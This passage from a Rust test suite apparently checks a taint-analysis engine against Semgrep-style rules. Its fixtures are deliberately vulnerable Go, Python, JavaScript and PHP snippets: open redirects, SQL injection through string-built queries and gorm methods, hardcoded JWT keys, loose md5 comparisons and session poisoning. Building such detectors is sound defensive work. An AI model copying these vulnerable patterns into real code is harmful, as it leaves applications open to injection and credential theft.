pattern-sources:
- pattern: express(...)
label: EXPRESS
- pattern: expressts(...)
label: EXPRESSTS
pattern-sinks:
- pattern: sink(...)
requires: EXPRESS or EXPRESSTS
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
assert!(
matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)),
"two distinct primary labels must stay skipped, not over-match"
);
}
const GO_TYPED_SOURCE_RULE: &str = r#"
id: go-typed-source
mode: taint
languages: [go]
severity: WARNING
message: "Untrusted *http.Request read reaches a redirect sink"
pattern-sources:
- patterns:
- pattern: |
($REQUEST : *http.Request).$ANYTHING
pattern-sinks:
- pattern: http.Redirect($W, $REQ, $URL, ...)
"#;
#[test]
fn go_typed_metavar_source_compiles_to_typed_name() {
let rule = compiled(GO_TYPED_SOURCE_RULE);
assert!(
rule.spec.sources.iter().any(|s| matches!(
s,
GenericMatcher::TypedName { type_name, .. } if type_name == "http.Request"
)),
"colon-typed source should compile to TypedName{{http.Request}}, got {:?}",
rule.spec.sources
);
}
#[test]
fn go_typed_metavar_source_loads_and_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_TYPED_SOURCE_RULE);
let src = r#"
package main
import "net/http"
func h(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, r.URL.Query().Get("u"), 302)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"a read off an *http.Request-typed parameter reaching http.Redirect must fire, got {findings:?}"
);
}
#[test]
fn go_typed_metavar_source_discriminates_by_type() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_TYPED_SOURCE_RULE);
let src = r#"
package main
import "net/http"
type Other struct{}
func h(w http.ResponseWriter, r *Other) {
http.Redirect(w, r, r.URL.Query().Get("u"), 302)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a differently-typed parameter must not be seeded as a source, got {findings:?}"
);
}
#[test]
fn go_typed_metavar_source_non_pointer_type_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: go-typed-source-value
mode: taint
languages: [go]
severity: WARNING
message: m
pattern-sources:
- pattern: |
($REQUEST : http.Request).$ANYTHING
pattern-sinks:
- pattern: http.Redirect($W, $REQ, $URL, ...)
"#,
);
let src = r#"
package main
import "net/http"
func h(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, r.Host, 302)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
assert!(
!rule.check(src, &tree).is_empty(),
"an `http.Request` annotation must match a `*http.Request` variable"
);
}
const GO_TYPED_NEGATION_RULE: &str = r#"
id: go-typed-open-redirect
mode: taint
languages: [go]
severity: WARNING
message: "open redirect"
pattern-sources:
- patterns:
- pattern: |
($REQUEST : *http.Request).$ANYTHING
label: INPUT
- pattern: '"$U" + $X'
label: CLEAN
requires: INPUT
pattern-sinks:
- pattern: redirect($URL)
requires: INPUT and not CLEAN
"#;
#[test]
fn go_typed_negation_policy_compiles() {
let rule = compiled(GO_TYPED_NEGATION_RULE);
let policy = rule
.label_policy
.as_ref()
.expect("typed-source negation rule must compile a LabelPolicy");
assert_eq!(policy.source_label, "INPUT");
assert!(
rule.spec.sources.iter().any(|s| matches!(
s,
GenericMatcher::TypedName { type_name, .. } if type_name == "http.Request"
)),
"the INPUT source must be the typed *http.Request source, got {:?}",
rule.spec.sources
);
}
#[test]
fn go_typed_negation_direct_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_TYPED_NEGATION_RULE);
let src = r#"
package main
import "net/http"
func h(w http.ResponseWriter, r *http.Request) {
redirect(r.URL.Query().Get("u"))
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"un-sanitized *http.Request input into the redirect sink must fire (INPUT and not CLEAN), got {findings:?}"
);
}
#[test]
fn go_typed_negation_relabeled_suppressed() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_TYPED_NEGATION_RULE);
let src = r#"
package main
import "net/http"
func h(w http.ResponseWriter, r *http.Request) {
u := "https://safe.example.com/" + r.URL.Query().Get("u")
redirect(u)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a CLEAN-relabeled (concatenated) value must NOT fire (not CLEAN), got {findings:?}"
);
}
#[test]
fn go_real_open_redirect_shape_fires_on_tainted_url() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: go-real-open-redirect
mode: taint
languages: [go]
severity: WARNING
message: "open redirect"
pattern-sources:
- patterns:
- pattern: |
($REQUEST : *http.Request).$ANYTHING
label: INPUT
- pattern: '"$U" + $X'
label: CLEAN
requires: INPUT
pattern-sinks:
- patterns:
- pattern: http.Redirect($W, $REQ, $URL, ...)
- focus-metavariable: $URL
requires: INPUT and not CLEAN
"#,
);
let src = r#"
package main
import "net/http"
func h(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, r.URL.Query().Get("u"), 302)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"tainted URL read off *http.Request into http.Redirect must fire, got {findings:?}"
);
}
#[test]
fn ellipsis_string_source_compiles_to_literal_string() {
let m = compile_pattern("\"...\"", MatcherRole::Source, Language::Python)
.expect("bare `\"...\"` must compile to a source matcher");
assert!(
matches!(m, GenericMatcher::LiteralString { .. }),
"bare ellipsis-string source must compile to LiteralString, got {m:?}"
);
assert!(
!matches!(
compile_pattern("\"secret\"", MatcherRole::Source, Language::Python),
Some(GenericMatcher::LiteralString { .. })
),
"a content-carrying string pattern must not compile to LiteralString"
);
assert!(
compile_pattern("\"...\"", MatcherRole::Sink, Language::Python).is_none(),
"ellipsis-string in sink position must not compile"
);
}
#[test]
fn literal_string_source_python_fires_on_hardcoded_secret() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: hardcoded-jwt-secret-py
mode: taint
languages: [python]
severity: WARNING
message: "hardcoded secret"
pattern-sources:
- pattern: |
"..."
pattern-sinks:
- pattern: jwt.sign($PAYLOAD, $SECRET)
"#,
);
let fire = r#"
import jwt
def make(payload):
return jwt.sign(payload, "hardcoded-secret")
"#;
let tree = parse_file(fire, Language::Python).expect("python fixture parses");
assert_eq!(
rule.check(fire, &tree).len(),
1,
"a hardcoded string literal reaching jwt.sign must fire"
);
let clean = r#"
import jwt, os
def make(payload):
secret_from_env = os.environ["JWT_SECRET"]
return jwt.sign(payload, secret_from_env)
"#;
let tree = parse_file(clean, Language::Python).expect("python fixture parses");
assert!(
rule.check(clean, &tree).is_empty(),
"a non-literal secret (os.environ read) must NOT fire"
);
}
#[test]
fn literal_string_source_js_fires_on_hardcoded_secret() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: hardcoded-jwt-secret-js
mode: taint
languages: [javascript, typescript]
severity: WARNING
message: "hardcoded secret"
pattern-sources:
- pattern: |
"..."
pattern-sinks:
- pattern: jwt.sign($PAYLOAD, $SECRET)
"#,
);
let fire = r#"
const jwt = require("jsonwebtoken");
function make(payload) {
return jwt.sign(payload, "hardcoded-secret");
}
"#;
let tree = parse_file(fire, Language::JavaScript).expect("js fixture parses");
assert_eq!(
rule.check(fire, &tree).len(),
1,
"a hardcoded string literal reaching jwt.sign must fire"
);
let clean = r#"
const jwt = require("jsonwebtoken");
function make(payload) {
const secretFromEnv = process.env.JWT_SECRET;
return jwt.sign(payload, secretFromEnv);
}
"#;
let tree = parse_file(clean, Language::JavaScript).expect("js fixture parses");
assert!(
rule.check(clean, &tree).is_empty(),
"a non-literal secret (process.env read) must NOT fire"
);
}
#[test]
fn string_literal_regex_source_compiles_with_regex() {
let r = compiled(
r#"
id: req-http-src
mode: taint
languages: [python]
severity: INFO
message: m
pattern-sources:
- patterns:
- pattern: |
"$URL"
- metavariable-pattern:
metavariable: $URL
language: regex
patterns:
- pattern-regex: http://
- pattern-not-regex: .*://localhost
- pattern-not-regex: .*://127\.0\.0\.1
pattern-sinks:
- patterns:
- pattern-either:
- pattern: requests.$W($SINK, ...)
- pattern: requests.request($METHOD, $SINK, ...)
- pattern: requests.Request($METHOD, $SINK, ...)
- focus-metavariable: $SINK
"#,
);
let lit: Vec<&Option<String>> = r
.spec
.sources
.iter()
.filter_map(|m| match m {
GenericMatcher::LiteralString { regex, .. } => Some(regex),
_ => None,
})
.collect();
assert_eq!(
lit.len(),
1,
"one LiteralString source, got {:?}",
r.spec.sources
);
assert!(
lit[0].is_some(),
"the requests http:// source must carry a regex constraint (not any-literal)"
);
}
#[test]
fn string_literal_regex_source_python_discriminates() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: req-http
mode: taint
languages: [python]
severity: INFO
message: m
pattern-sources:
- patterns:
- pattern: |
"$URL"
- metavariable-pattern:
metavariable: $URL
language: regex
patterns:
- pattern-regex: http://
- pattern-not-regex: .*://localhost
- pattern-not-regex: .*://127\.0\.0\.1
pattern-sinks:
- patterns:
- pattern-either:
- pattern: requests.$W($SINK, ...)
- pattern: requests.request($METHOD, $SINK, ...)
- pattern: requests.Request($METHOD, $SINK, ...)
- focus-metavariable: $SINK
"#,
);
let fire = r#"
import requests
def go():
requests.request("GET", "http://evil.example.com/api")
"#;
let tree = parse_file(fire, Language::Python).expect("python fixture parses");
assert_eq!(
rule.check(fire, &tree).len(),
1,
"an http:// string literal reaching requests.request must fire"
);
let https = r#"
import requests
def go():
requests.request("GET", "https://safe.example.com/api")
"#;
let tree = parse_file(https, Language::Python).expect("python fixture parses");
assert!(
rule.check(https, &tree).is_empty(),
"an https:// literal must NOT be seeded"
);
let localhost = r#"
import requests
def go():
requests.request("GET", "http://localhost:8080/api")
"#;
let tree = parse_file(localhost, Language::Python).expect("python fixture parses");
assert!(
rule.check(localhost, &tree).is_empty(),
"an http://localhost literal must NOT be seeded"
);
let nonliteral = r#"
import requests
def go(cfg):
url = cfg.endpoint
requests.request("GET", url)
"#;
let tree = parse_file(nonliteral, Language::Python).expect("python fixture parses");
assert!(
rule.check(nonliteral, &tree).is_empty(),
"a non-literal URL variable must NOT be seeded"
);
}
#[test]
fn bare_literal_string_source_still_seeds_any_literal() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: hardcoded-any-literal
mode: taint
languages: [python]
severity: WARNING
message: m
pattern-sources:
- pattern: |
"..."
pattern-sinks:
- pattern: jwt.sign($PAYLOAD, $SECRET)
"#,
);
let fire = r#"
import jwt
def make(payload):
return jwt.sign(payload, "https://not-a-url-just-a-secret")
"#;
let tree = parse_file(fire, Language::Python).expect("python fixture parses");
assert_eq!(
rule.check(fire, &tree).len(),
1,
"bare any-literal source must still seed any string literal"
);
}
const AVOID_SQLALCHEMY_TEXT_RULE: &str = r#"
id: avoid-sqlalchemy-text
mode: taint
languages: [python]
severity: ERROR
message: "sqlalchemy.text is vulnerable to SQL injection"
pattern-sinks:
- pattern: |
sqlalchemy.text(...)
pattern-sources:
- patterns:
- pattern: |
$X + $Y
- metavariable-type:
metavariable: $X
type: string
- patterns:
- pattern: |
$X + $Y
- metavariable-type:
metavariable: $Y
type: string
- patterns:
- pattern: |
f"..."
- patterns:
- pattern: |
$X.format(...)
- metavariable-type:
metavariable: $X
type: string
- patterns:
- pattern: |
$X % $Y
- metavariable-type:
metavariable: $X
type: string
"#;
#[test]
fn avoid_sqlalchemy_text_loads_with_construction_sources() {
let rule = compiled(AVOID_SQLALCHEMY_TEXT_RULE);
let n_binop = rule
.spec
.sources
.iter()
.filter(|s| matches!(s, GenericMatcher::BinopFormat { .. }))
.count();
assert!(
n_binop >= 4,
"expected the string-construction sources to compile to BinopFormat, got {:?}",
rule.spec.sources
);
assert!(
rule.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::Call { canonical, .. } if canonical == "sqlalchemy.text"
)),
"sink should compile to Call{{sqlalchemy.text}}, got {:?}",
rule.spec.sinks
);
}
#[test]
fn avoid_sqlalchemy_text_fires_on_each_construction_shape() {
use crate::engine::parser::parse_file;
let rule = compiled(AVOID_SQLALCHEMY_TEXT_RULE);
let src = r#"
import sqlalchemy
def concat_prefix(param):
s = "foo" + param
return sqlalchemy.text(s)
def concat_suffix(param):
s = param + "bar"
return sqlalchemy.text(s)
def fstring(param):
s = f"foo{param}bar"
return sqlalchemy.text(s)
def dot_format(param):
s = "foo{}bar".format(param)
return sqlalchemy.text(s)
def percent(param):
s = "foo %s bar" % param
return sqlalchemy.text(s)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
5,
"each of the five constructed-string flows into text(...) must fire, got {findings:?}"
);
}
#[test]
fn avoid_sqlalchemy_text_fires_on_inline_construction() {
use crate::engine::parser::parse_file;
let rule = compiled(AVOID_SQLALCHEMY_TEXT_RULE);
let src = r#"
import sqlalchemy
def h(param):
return sqlalchemy.text("SELECT * FROM t WHERE x = " + param)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"an inline `\"...\" + param` construction reaching text(...) must fire, got {findings:?}"
);
}
#[test]
fn avoid_sqlalchemy_text_fires_through_import_alias() {
use crate::engine::parser::parse_file;
use crate::rules::python_aliases::from_tree as py_aliases_from_tree;
let rule = compiled(AVOID_SQLALCHEMY_TEXT_RULE);
let src = r#"
from sqlalchemy import text
def h(param):
s = "foo" + param
return text(s)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture parses");
let aliases = py_aliases_from_tree(src, &tree);
let ctx = FileContext {
python_aliases: Some(&aliases),
..FileContext::default()
};
let findings = rule.check_with_context(src, &tree, &ctx);
assert_eq!(
findings.len(),
1,
"a constructed string into `text(...)` (imported from sqlalchemy) must fire, got {findings:?}"
);
}
#[test]
fn avoid_sqlalchemy_text_silent_on_plain_literal_and_bare_var() {
use crate::engine::parser::parse_file;
let rule = compiled(AVOID_SQLALCHEMY_TEXT_RULE);
let src = r#"
import sqlalchemy
def plain_literal():
s = "SELECT 1"
return sqlalchemy.text(s)
def plain_inline():
return sqlalchemy.text("SELECT 1")
def bare_var(param):
# `param` is not a constructed string — not seeded by this rule.
return sqlalchemy.text(param)
def numeric(a, b):
n = a + b
return sqlalchemy.text(n)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"plain literals / bare variables / numeric sums reaching text(...) must NOT fire, got {findings:?}"
);
}
const MD5_LOOSE_RULE: &str = r#"
id: md5-loose-equality
mode: taint
languages: [php]
severity: ERROR
message: "Make sure comparisons involving md5 values are strict"
pattern-sinks:
- pattern: $VAR1 == $VAR2
- pattern: $VAR1 != $VAR2
pattern-sources:
- pattern: md5(...)
- pattern: hash(...)
- pattern: sha1(...)
pattern-sanitizers:
- pattern: strlen(...)
"#;
#[test]
fn md5_loose_equality_loads() {
let rule = compiled(MD5_LOOSE_RULE);
assert!(
rule.spec
.sinks
.iter()
.any(|s| matches!(s, GenericMatcher::LooseEquality { .. })),
"expected a LooseEquality sink, got {:?}",
rule.spec.sinks
);
}
#[test]
fn md5_loose_equality_loose_comparison_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(MD5_LOOSE_RULE);
let src = "<?php\nfunction f($u){\n $h = md5($u);\n if ($h == $u) { return 1; }\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"md5 value in a loose `==` comparison must fire, got {findings:?}"
);
}
#[test]
fn md5_loose_equality_direct_source_at_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(MD5_LOOSE_RULE);
let src = "<?php\nfunction f($u){\n if (md5($u) == \"0\") { return 1; }\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert_eq!(rule.check(src, &tree).len(), 1);
}
#[test]
fn md5_loose_equality_strict_comparison_stays_clean() {
use crate::engine::parser::parse_file;
let rule = compiled(MD5_LOOSE_RULE);
let src = "<?php\nfunction f($u){\n $h = md5($u);\n if ($h === $u) { return 1; }\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"strict `===` comparison must NOT fire (safe form the rule recommends), got {findings:?}"
);
}
#[test]
fn md5_loose_equality_untainted_comparison_stays_clean() {
use crate::engine::parser::parse_file;
let rule = compiled(MD5_LOOSE_RULE);
let src = "<?php\nfunction f($a,$b){\n if ($a == $b) { return 1; }\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert!(
rule.check(src, &tree).is_empty(),
"untainted `==` comparison must NOT fire"
);
}
#[test]
fn md5_loose_equality_sanitized_operand_stays_clean() {
use crate::engine::parser::parse_file;
let rule = compiled(MD5_LOOSE_RULE);
let src =
"<?php\nfunction f($u){\n $h = md5($u);\n if (strlen($h) == $u) { return 1; }\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert!(
rule.check(src, &tree).is_empty(),
"strlen-sanitized operand must NOT fire"
);
}
#[test]
fn loose_equality_not_a_source_shape() {
assert!(compile_pattern("$A == $B", MatcherRole::Source, Language::Php).is_none());
assert!(compile_pattern("$A == $B", MatcherRole::Sink, Language::Java).is_none());
assert!(compile_pattern("$A === $B", MatcherRole::Sink, Language::Php).is_none());
assert!(compile_pattern("$A !== $B", MatcherRole::Sink, Language::Php).is_none());
assert!(!is_loose_equality_pattern("$A = $B"));
assert!(is_loose_equality_pattern("$A == $B"));
assert!(is_loose_equality_pattern("$A != $B"));
}
const TAINTED_OBJECT_INSTANTIATION_RULE: &str = r#"
id: tainted-object-instantiation
mode: taint
languages: [php]
severity: WARNING
message: "A new object is created where the class name is based on user input."
pattern-sources:
- patterns:
- pattern-either:
- pattern: $_GET
- pattern: $_POST
- pattern: $_COOKIE
- pattern: $_REQUEST
- pattern: $_SERVER
pattern-sinks:
- patterns:
- pattern-either:
- pattern-inside: new $SINK(...)
- pattern: $SINK
"#;
#[test]
fn tainted_object_instantiation_loads() {
let rule = compiled(TAINTED_OBJECT_INSTANTIATION_RULE);
assert!(
rule.spec
.sinks
.iter()
.any(|s| matches!(s, GenericMatcher::TaintedCallee { .. })),
"expected a TaintedCallee sink, got {:?}",
rule.spec.sinks
);
}
#[test]
fn tainted_object_instantiation_fires_on_tainted_classname() {
use crate::engine::parser::parse_file;
let rule = compiled(TAINTED_OBJECT_INSTANTIATION_RULE);
let src = "<?php\nfunction f(){\n $n = $_GET['c'];\n $ctrl = new $n('safe');\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert_eq!(
rule.check(src, &tree).len(),
1,
"a tainted class name in `new $n(...)` must fire"
);
}
#[test]
fn tainted_object_instantiation_silent_on_tainted_argument() {
use crate::engine::parser::parse_file;
let rule = compiled(TAINTED_OBJECT_INSTANTIATION_RULE);
let src = "<?php\nfunction f(){\n $ctrl = new SafeController($_GET['c']);\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert!(
rule.check(src, &tree).is_empty(),
"a tainted constructor ARGUMENT (concrete class name) must NOT fire, got {:?}",
rule.check(src, &tree)
);
}
#[test]
fn tainted_object_instantiation_silent_on_literal_classname() {
use crate::engine::parser::parse_file;
let rule = compiled(TAINTED_OBJECT_INSTANTIATION_RULE);
let src = "<?php\nfunction f(){\n $a = 'MyController';\n $ctrl = new $a();\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert!(
rule.check(src, &tree).is_empty(),
"a literal-valued class-name variable must NOT fire"
);
}
#[test]
fn tainted_callee_compile_discrimination() {
assert_eq!(
parse_new_metavar_classname("new $SINK(...)").as_deref(),
Some("$SINK")
);
assert!(parse_new_metavar_classname("new SafeClass(...)").is_none());
let classname_focus: YamlValue = serde_yaml_ng::from_str(
"- pattern-either:\n - pattern-inside: new $SINK(...)\n- pattern: $SINK\n",
)
.unwrap();
let mut out = Vec::new();
assert!(try_compile_tainted_callee_sink_block(
&classname_focus,
MatcherRole::Sink,
&mut out
));
assert!(matches!(out[0], GenericMatcher::TaintedCallee { .. }));
let arg_focus: YamlValue =
serde_yaml_ng::from_str("- pattern-inside: new SafeClass($ARG)\n- pattern: $ARG\n")
.unwrap();
let mut out2 = Vec::new();
assert!(
!try_compile_tainted_callee_sink_block(&arg_focus, MatcherRole::Sink, &mut out2),
"a constructor-argument focus must NOT compile a TaintedCallee sink"
);
assert!(out2.is_empty());
}
const TAINTED_SESSION_RULE: &str = r#"
id: tainted-session
mode: taint
languages: [php]
severity: WARNING
message: "Session key based on user input risks session poisoning."
pattern-sources:
- patterns:
- pattern-either:
- pattern: $_GET
- pattern: $_POST
- pattern: $_COOKIE
- pattern: $_REQUEST
pattern-sanitizers:
- patterns:
- pattern-either:
- pattern: md5(...)
pattern-sinks:
- patterns:
- pattern-inside: $_SESSION[$KEY] = $VAL;
- pattern: $KEY
"#;
#[test]
fn tainted_session_loads() {
let rule = compiled(TAINTED_SESSION_RULE);
assert!(
rule.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::TaintedSubscriptKey { base: Some(b), .. } if b == "_SESSION"
)),
"expected a TaintedSubscriptKey{{_SESSION}} sink, got {:?}",
rule.spec.sinks
);
}
#[test]
fn tainted_session_fires_on_tainted_key_direct() {
use crate::engine::parser::parse_file;
let rule = compiled(TAINTED_SESSION_RULE);
let src = "<?php\nfunction f(){\n $_SESSION[$_POST['input']] = true;\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert_eq!(
rule.check(src, &tree).len(),
1,
"a tainted session KEY (direct source) must fire"
);
}
#[test]
fn tainted_session_fires_on_tainted_key_via_variable() {
use crate::engine::parser::parse_file;
let rule = compiled(TAINTED_SESSION_RULE);
let src = "<?php\nfunction f(){\n $k = $_POST['input'];\n $_SESSION[$k] = true;\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert_eq!(
rule.check(src, &tree).len(),
1,
"a tainted session KEY (via a propagated variable) must fire"
);
}
#[test]
fn tainted_session_silent_on_tainted_value() {
use crate::engine::parser::parse_file;
let rule = compiled(TAINTED_SESSION_RULE);
let src = "<?php\nfunction f(){\n $_SESSION['key'] = $_POST['input'];\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert!(
rule.check(src, &tree).is_empty(),
"a tainted assigned VALUE (literal key) must NOT fire, got {:?}",
rule.check(src, &tree)
);
}
#[test]
fn tainted_session_silent_on_nested_base() {
use crate::engine::parser::parse_file;
let rule = compiled(TAINTED_SESSION_RULE);
let src = "<?php\nfunction f(){\n $_SESSION['prefix'][$_POST['input']] = true;\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert!(
rule.check(src, &tree).is_empty(),
"a nested-base session write must NOT fire, got {:?}",
rule.check(src, &tree)
);
}
#[test]
fn tainted_session_silent_on_sanitized_key() {
use crate::engine::parser::parse_file;
let rule = compiled(TAINTED_SESSION_RULE);
let src =
"<?php\nfunction f(){\n $k = md5($_POST['input']);\n $_SESSION[$k] = true;\n}\n";
let tree = parse_file(src, Language::Php).expect("php fixture parses");
assert!(
rule.check(src, &tree).is_empty(),
"an md5-sanitized session key must NOT fire"
);
}
#[test]
fn subscript_key_compile_discrimination() {
let parsed = parse_subscript_key_assignment("$_SESSION[$KEY] = $VAL;").unwrap();
assert_eq!(parsed.0.as_deref(), Some("_SESSION"));
assert_eq!(parsed.1, "$KEY");
assert_eq!(parsed.2, "$VAL");
let key_focus: YamlValue =
serde_yaml_ng::from_str("- pattern-inside: $_SESSION[$KEY] = $VAL;\n- pattern: $KEY\n")
.unwrap();
let mut out = Vec::new();
assert!(try_compile_subscript_key_sink_block(
&key_focus,
MatcherRole::Sink,
&mut out
));
assert!(matches!(
out[0],
GenericMatcher::TaintedSubscriptKey { base: Some(ref b), .. } if b == "_SESSION"
));
let val_focus: YamlValue =
serde_yaml_ng::from_str("- pattern-inside: $_SESSION[$KEY] = $VAL;\n- pattern: $VAL\n")
.unwrap();
let mut out2 = Vec::new();
assert!(
!try_compile_subscript_key_sink_block(&val_focus, MatcherRole::Sink, &mut out2),
"an assigned-value focus must NOT compile a TaintedSubscriptKey sink"
);
assert!(out2.is_empty());
}
const GO_HARDCODED_JWT_RULE: &str = r#"
id: hardcoded-jwt-key
mode: taint
languages: [go]
severity: WARNING
message: A hard-coded credential was detected.
pattern-sources:
- patterns:
- pattern-inside: |
[]byte("$F")
pattern-sinks:
- patterns:
- pattern-either:
- pattern-inside: |
$TOKEN.SignedString($F)
- focus-metavariable: $F
"#;
#[test]
fn go_hardcoded_jwt_key_compiles_literal_source_and_signedstring_sink() {
let rule = compiled(GO_HARDCODED_JWT_RULE);
assert!(
rule.spec
.sources
.iter()
.any(|s| matches!(s, GenericMatcher::LiteralString { regex: None, .. })),
"source should compile to a LiteralString (any string literal), got {:?}",
rule.spec.sources
);
assert!(
rule.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::MethodName { method, .. } if method == "SignedString"
)),
"sink should compile to MethodName{{SignedString}}, got {:?}",
rule.spec.sinks
);
}
#[test]
fn go_hardcoded_jwt_key_fires_on_var_and_inline_literals() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_HARDCODED_JWT_RULE);
let src = r#"
package main
func Signin(token T) {
var jwtKey = []byte("my_secret_key")
tokenString, _ := token.SignedString(jwtKey)
_ = tokenString
tokenString2, _ := token.SignedString([]byte("my_secret_key"))
_ = tokenString2
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
2,
"both a var-bound and an inline hardcoded []byte key must fire, got {findings:?}"
);
}
#[test]
fn go_hardcoded_jwt_key_silent_on_env_key_and_clean_code() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_HARDCODED_JWT_RULE);
let src = r#"
package main
import "os"
func Signin(token T) {
jwtKey := []byte(os.Getenv("JWT_KEY"))
tokenString, _ := token.SignedString(jwtKey)
_ = tokenString
msg := "hello world"
_ = msg
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"an env-derived signing key and an unrelated literal must not fire, got {findings:?}"
);
}
const GO_GORM_RULE: &str = r#"
id: gorm-dangerous-method-usage
mode: taint
languages: [go]
severity: WARNING
message: Detected usage of dangerous method $METHOD.
pattern-sources:
- patterns:
- pattern-either:
- pattern: |
($REQUEST : http.Request).$ANYTHING
- pattern: |
($REQUEST : *http.Request).$ANYTHING
- metavariable-regex:
metavariable: $ANYTHING
regex: ^(BasicAuth|Body|Cookie|Cookies|Form|FormValue|GetBody|Host|MultipartReader|ParseForm|ParseMultipartForm|PostForm|PostFormValue|Referer|RequestURI|Trailer|TransferEncoding|UserAgent|URL)$
pattern-sinks:
- patterns:
- pattern-inside: |
import ("gorm.io/gorm")
...
- patterns:
- pattern-inside: |
func $VAL(..., $GORM *gorm.DB,... ) {
...
}
- pattern-either:
- pattern: |
$GORM. ... .$METHOD($VALUE)
- pattern: |
$DB := $GORM. ... .$ANYTHING(...)
...
$DB. ... .$METHOD($VALUE)
- focus-metavariable: $VALUE
- metavariable-regex:
metavariable: $METHOD
regex: ^(Order|Exec|Raw|Group|Having|Distinct|Select|Pluck)$
pattern-sanitizers:
- pattern-either:
- pattern: strconv.Atoi(...)
- pattern: |
($X: bool)
"#;
#[test]
fn go_gorm_compiles_enumerated_method_name_sinks_and_typed_source() {
let rule = compiled(GO_GORM_RULE);
assert!(
rule.spec.sources.iter().any(|s| matches!(
s,
GenericMatcher::TypedName { type_name, .. } if type_name == "http.Request"
)),
"source should compile to TypedName{{http.Request}}, got {:?}",
rule.spec.sources
);
for want in [
"Order", "Exec", "Raw", "Group", "Having", "Distinct", "Select", "Pluck",
] {
assert!(
rule.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::MethodName { method, .. } if method == want
)),
"sink should include MethodName{{{want}}}, got {:?}",
rule.spec.sinks
);
}
assert!(
!rule.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::MethodName { method, .. } if method == "Find" || method == "Table"
)),
"non-listed methods must not become sinks, got {:?}",
rule.spec.sinks
);
}
#[test]
fn go_gorm_fires_on_request_tainted_order() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_GORM_RULE);
let src = r#"
package main
import (
"net/http"
"gorm.io/gorm"
)
func testInjection(w http.ResponseWriter, r *http.Request, db *gorm.DB) {
param := r.Cookie("foo")
table := db.Table("users")
var u User
table.Order(param).Find(&u)
}
func testInjection2(w http.ResponseWriter, r *http.Request, db *gorm.DB) {
param := r.URL.Query().Get("orderBy")
table := db.Table("users")
var u User
table.Order(param + " " + "ASC").Find(&u)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
2,
"both request-tainted .Order(...) calls must fire, got {findings:?}"
);
}
#[test]
fn go_gorm_silent_on_constant_local_and_bool_comparison() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_GORM_RULE);
let src = r#"
package main
import (
"net/http"
"gorm.io/gorm"
)
func testNoInjection(w http.ResponseWriter, r *http.Request, db *gorm.DB) {
table := db.Table("users")
var u User
table.Order("email").Find(&u)
}
func testNoInjection2(w http.ResponseWriter, r *http.Request, db *gorm.DB) {
table := db.Table("users")
var orderBy = "email"
var u User
table.Order(orderBy).Find(&u)
}
func testNoInjection3(w http.ResponseWriter, r *http.Request, db *gorm.DB) {
param := r.URL.Query().Get("orderBy")
table := db.Table("users")
var u User
table.Order((param != "param") + " " + "ASC").Find(&u)
}
"#;
